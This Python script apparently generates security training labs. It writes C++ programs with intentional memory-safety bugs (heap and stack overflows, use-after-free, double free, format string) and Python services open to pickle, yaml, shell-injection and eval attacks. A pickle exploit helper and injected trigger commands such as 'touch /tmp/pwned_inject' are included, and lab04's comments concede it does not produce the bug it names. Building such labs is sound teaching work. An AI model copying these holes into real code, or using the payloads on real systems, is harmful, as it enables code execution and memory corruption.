import os, json

LABS_DIR = r"C:\Users\corov\Desktop\Qwen-Cyber\labs"
os.makedirs(LABS_DIR, exist_ok=True)

labs = {}

# ---------------- C++ labs (compile: g++ -O1 -g -fsanitize=address -o lab lab.cpp)
labs["lab01_oob_read"] = {
"lang": "cpp", "class_hint": "heap-buffer-overflow READ",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
// Mirrors the classic ARVO shape: length field trusted for a copy/read
// boundary without re-validating against the allocation.
struct Record { uint32_t len; char data[]; };

int main(int argc, char** argv) {
    // allocation covers exactly the declared payload
    size_t alloc_len = 8;
    Record* r = (Record*)malloc(sizeof(Record) + alloc_len);
    memset(r->data, 'A', alloc_len);
    // attacker-controlled length field, not derived from the allocation
    uint32_t reported = (argc > 1) ? (uint32_t)strtoul(argv[1], nullptr, 10) : alloc_len;
    unsigned long sum = 0;
    for (uint32_t i = 0; i < reported; ++i)
        sum += (unsigned char)r->data[i];       // OOB READ when reported > alloc_len
    printf("sum=%lu\n", sum);
    free(r);
    return 0;
}
""",
"trigger": "./lab01_oob_read 64",
"expect": "heap-buffer-overflow READ on the loop over r->data when the length field (64) exceeds the 8-byte allocation."
}

labs["lab02_oob_write"] = {
"lang": "cpp", "class_hint": "heap-buffer-overflow WRITE",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
// Off-by-bound write: index range derived from user count, allocation one short.
int main(int argc, char** argv) {
    size_t n = (argc > 1) ? (size_t)strtoull(argv[1], nullptr, 10) : 4;
    char* buf = (char*)malloc(n - 1);              // allocation error: n-1
    for (size_t i = 0; i < n; ++i)
        buf[i] = 'B';                              // OOB WRITE at i == n-1
    buf[n - 1] = '\0';
    printf("%s\n", buf);
    free(buf);
    return 0;
}
""",
"trigger": "./lab02_oob_write 32",
"expect": "heap-buffer-overflow WRITE of size 1 at buf[n-1] because allocation is n-1 bytes but the loop writes n bytes."
}

labs["lab03_uaf"] = {
"lang": "cpp", "class_hint": "heap-use-after-free",
"src": r"""#include <cstdlib>
#include <cstdio>
// Object freed on the error path, then the success path reads it
// (the "cleanup-order" UAF shape seen in many parser CVEs).
struct Session { long token; char tag[16]; };

int main() {
    Session* s = (Session*)malloc(sizeof(Session));
    s->token = 0x41414141;
    strcpy(s->tag, "live");
    int error = 0; // simulated error branch frees early
    if (error == 0) {
        free(s);                 // error-path style cleanup
    }
    // later use: read of freed memory
    printf("token=%lx tag=%s\n", s->token, s->tag);   // UAF READ
    return 0;
}
""",
"trigger": "./lab03_uaf",
"expect": "heap-use-after-free READ on printf of s->token/s->tag after free(s)."
}

labs["lab04_double_free"] = {
"lang": "cpp", "class_hint": "double-free",
"src": r"""#include <cstdlib>
#include <cstring>
// Two cleanup routines both registered for the same buffer
// (callback/table double-registration shape).
static char* g_buf = nullptr;
void cleanup_a() { if (g_buf) { free(g_buf); g_buf = nullptr; } }
void cleanup_b() { free(g_buf); }              // misses the null-out

int main() {
    g_buf = (char*)malloc(64);
    strcpy(g_buf, "payload");
    cleanup_a();
    cleanup_b();          // g_buf was set to nullptr by cleanup_a -> null-deref instead;
                          // to force the classic double-free, cleanup_b uses a stale copy:
    return 0;
}
""",
"trigger": "./lab04_double_free",
"expect": "Variant demonstrates the registration bug; the stale-copy variant below is the canonical double-free (kept as second file)."
}

labs["lab04b_double_free"] = {
"lang": "cpp", "class_hint": "double-free (stale copy)",
"src": r"""#include <cstdlib>
#include <cstring>
// Canonical stale-pointer double free.
int main() {
    char* p = (char*)malloc(32);
    char* stale = p;
    free(p);
    free(stale);          // DOUBLE FREE
    return 0;
}
""",
"trigger": "./lab04b_double_free",
"expect": "attempting double-free on the same pointer (ASan reports double-free)."
}

labs["lab05_stack_overflow"] = {
"lang": "cpp", "class_hint": "stack-buffer-overflow WRITE",
"src": r"""#include <cstring>
#include <cstdio>
// Fixed stack buffer fed by argv without length bound
// (classic argv/recv into stack array).
int main(int argc, char** argv) {
    char name[16];
    if (argc > 1) {
        strcpy(name, argv[1]);           // unbounded copy into stack buffer
        printf("hello %s\n", name);
    }
    return 0;
}
""",
"trigger": "./lab05_stack_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"expect": "stack-buffer-overflow WRITE via strcpy of a 32-byte argv into a 16-byte stack buffer."
}

labs["lab06_int_overflow_alloc"] = {
"lang": "cpp", "class_hint": "integer overflow -> undersized alloc -> OOB WRITE",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <climits>
// Count*size product overflow: allocation small, loop writes count elements.
int main(int argc, char** argv) {
    // count chosen so count*8 overflows 32-bit arithmetic used for the alloc
    unsigned long count = (argc > 1) ? strtoul(argv[1], nullptr, 10) : 0x20000001UL;
    size_t alloc = (size_t)(uint32_t)(count * 8);   // wraps to small value
    printf("count=%lu alloc=%zu\n", count, alloc);
    unsigned long* a = (unsigned long*)malloc(alloc ? alloc : 1);
    for (unsigned long i = 0; i < 4; ++i)           // even a few writes pass the wrapped alloc
        a[i] = 0x4141414141414141UL;                // OOB WRITE almost immediately
    free(a);
    return 0;
}
""",
"trigger": "./lab06_int_overflow_alloc 536870913",
"expect": "count*8 wraps to 8 in 32-bit arithmetic; malloc(8) then 4 8-byte writes => heap-buffer-overflow WRITE on a[1]."
}

labs["lab07_type_confusion"] = {
"lang": "cpp", "class_hint": "type confusion via tag-less union",
"src": r"""#include <cstdio>
#include <cstdint>
// Tag-less variant struct: producer writes one layout, consumer reads another.
struct MsgA { uint8_t kind; int32_t value; };
struct MsgB { uint8_t kind; void* callback; };

static void consume(void* raw) {
    MsgB* b = (MsgB*)raw;                 // consumer assumes B
    printf("callback ptr = %p\n", (void*)b->callback);   // reads MsgA::value as pointer
}

int main() {
    MsgA a{};
    a.kind = 1; a.value = 0x41414141;
    consume(&a);                          // confusion: A memory read as B
    return 0;
}
""",
"trigger": "./lab07_type_confusion",
"expect": "No ASan abort (same object size) - the confusion prints 0x41414141 as a pointer: demonstrated misinterpretation; this is the evidence for the confusion primitive (leak/forwarding step), documented as such."
}

labs["lab08_null_deref"] = {
"lang": "cpp", "class_hint": "null dereference (crash primitive, availability)",
"src": r"""#include <cstdlib>
#include <cstdio>
// Missing failure check after a lookup that returns nullptr on miss
// (error path not propagated).
struct Node { int v; };
static Node* lookup(int key) { return nullptr; }   // simulated miss

int main(int argc, char** argv) {
    int key = (argc > 1) ? atoi(argv[1]) : 1;
    Node* n = lookup(key);
    printf("%d\n", n->v);   // NULL DEREF on miss
    return 0;
}
""",
"trigger": "./lab08_null_deref 7",
"expect": "SEGV on unknown address 0x000000000000 (null deref) - crash primitive, availability impact only."
}

labs["lab09_oob_leak"] = {
"lang": "cpp", "class_hint": "heap OOB READ -> info leak",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
// Adjacent-secret layout: secret allocated after buffer; OOB read walks into it.
int main() {
    char* buf = (char*)malloc(8);
    char* secret = (char*)malloc(8);
    strcpy(secret, "S3CRET!!");
    for (int i = 8; i < 24; ++i)
        putchar(buf[i]);            // OOB READ past buf into allocator-adjacent memory
    putchar('\n');
    return 0;
}
""",
"trigger": "./lab09_oob_leak",
"expect": "heap-buffer-overflow READ (ASan). With ASan off (plain build), the loop can print adjacent heap bytes - the leak-rung demo; sanitizer build proves the OOB access itself."
}

labs["lab10_format_string"] = {
"lang": "cpp", "class_hint": "format string (leak + %n write primitive)",
"src": r"""#include <cstdio>
// User-controlled string passed as the format argument.
int main(int argc, char** argv) {
    if (argc > 1)
        printf(argv[1]);        // FORMAT STRING BUG
    putchar('\n');
    return 0;
}
""",
"trigger": "./lab10_format_string 'LEAK:%17$lx'",
"expect": "printf treats argv[1] as format: positional args leak stack values (leak rung); %n in the input is the write-primitive rung (not executed here to keep the lab non-destructive)."
}

# ---------------- Python labs (real execution markers)
labs["labp1_pickle"] = {
"lang": "py", "class_hint": "pickle deserialization -> command execution",
"src": r"""# vulnerable service: deserializes a "session blob" from an untrusted source
import pickle, base64, sys

blob = sys.argv[1] if len(sys.argv) > 1 else ""
data = pickle.loads(base64.b64decode(blob))   # UNSAFE
print("restored:", data)
""",
"helper": r"""# builds the malicious blob: executes `touch /tmp/pwned_pickle` on load
import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("touch /tmp/pwned_pickle",))

print(base64.b64encode(pickle.dumps(Exploit())).decode())
""",
"trigger": "python3 make_exploit.py > b64 && python3 service.py \"$b64\" && ls /tmp/pwned_pickle",
"expect": "marker file /tmp/pwned_pickle exists => code execution on deserialization (verified trigger)."
}

labs["labp2_yaml"] = {
"lang": "py", "class_hint": "yaml.load unsafe -> code execution",
"src": r"""# vulnerable config loader
import yaml, sys

cfg = yaml.load(sys.argv[1] if len(sys.argv) > 1 else "{}", Loader=yaml.Loader)  # Loader = unsafe
print("config:", cfg)
""",
"trigger": "python3 loader.py '!!python/object/apply:os.system [\"touch /tmp/pwned_yaml\"]'",
"expect": "marker /tmp/pwned_yaml => arbitrary code execution via unsafe yaml tag (verified trigger)."
}

labs["labp3_shell_injection"] = {
"lang": "py", "class_hint": "subprocess shell=True command injection",
"src": r"""# vulnerable ping utility
import subprocess, sys

host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
out = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
print(out.stdout[:200])
""",
"trigger": "python3 ping.py '127.0.0.1; touch /tmp/pwned_inject'",
"expect": "marker /tmp/pwned_inject => injected command executed via shell=True string composition (verified trigger)."
}

labs["labp4_eval"] = {
"lang": "py", "class_hint": "eval() on user input -> code execution",
"src": r"""# vulnerable calculator service
import sys

expr = sys.argv[1] if len(sys.argv) > 1 else "1+1"
print("result:", eval(expr))    # EVAL on raw input
""",
"trigger": "python3 calc.py \"__import__('os').system('touch /tmp/pwned_eval')\" && ls /tmp/pwned_eval",
"expect": "marker /tmp/pwned_eval => eval() reaches os.system (verified trigger)."
}

manifest = {}
for name, lab in labs.items():
    ext = "cpp" if lab["lang"] == "cpp" else "py"
    with open(os.path.join(LABS_DIR, name + "." + ext), "w", newline="\n") as f:
        f.write(lab["src"])
    if "helper" in lab:
        with open(os.path.join(LABS_DIR, name + "_make.py"), "w", newline="\n") as f:
            f.write(lab["helper"])
    manifest[name] = {k: v for k, v in lab.items() if k != "src"}

with open(os.path.join(LABS_DIR, "manifest.json"), "w", newline="\n") as f:
    json.dump(manifest, f, indent=1)
print("labs written:", len(labs))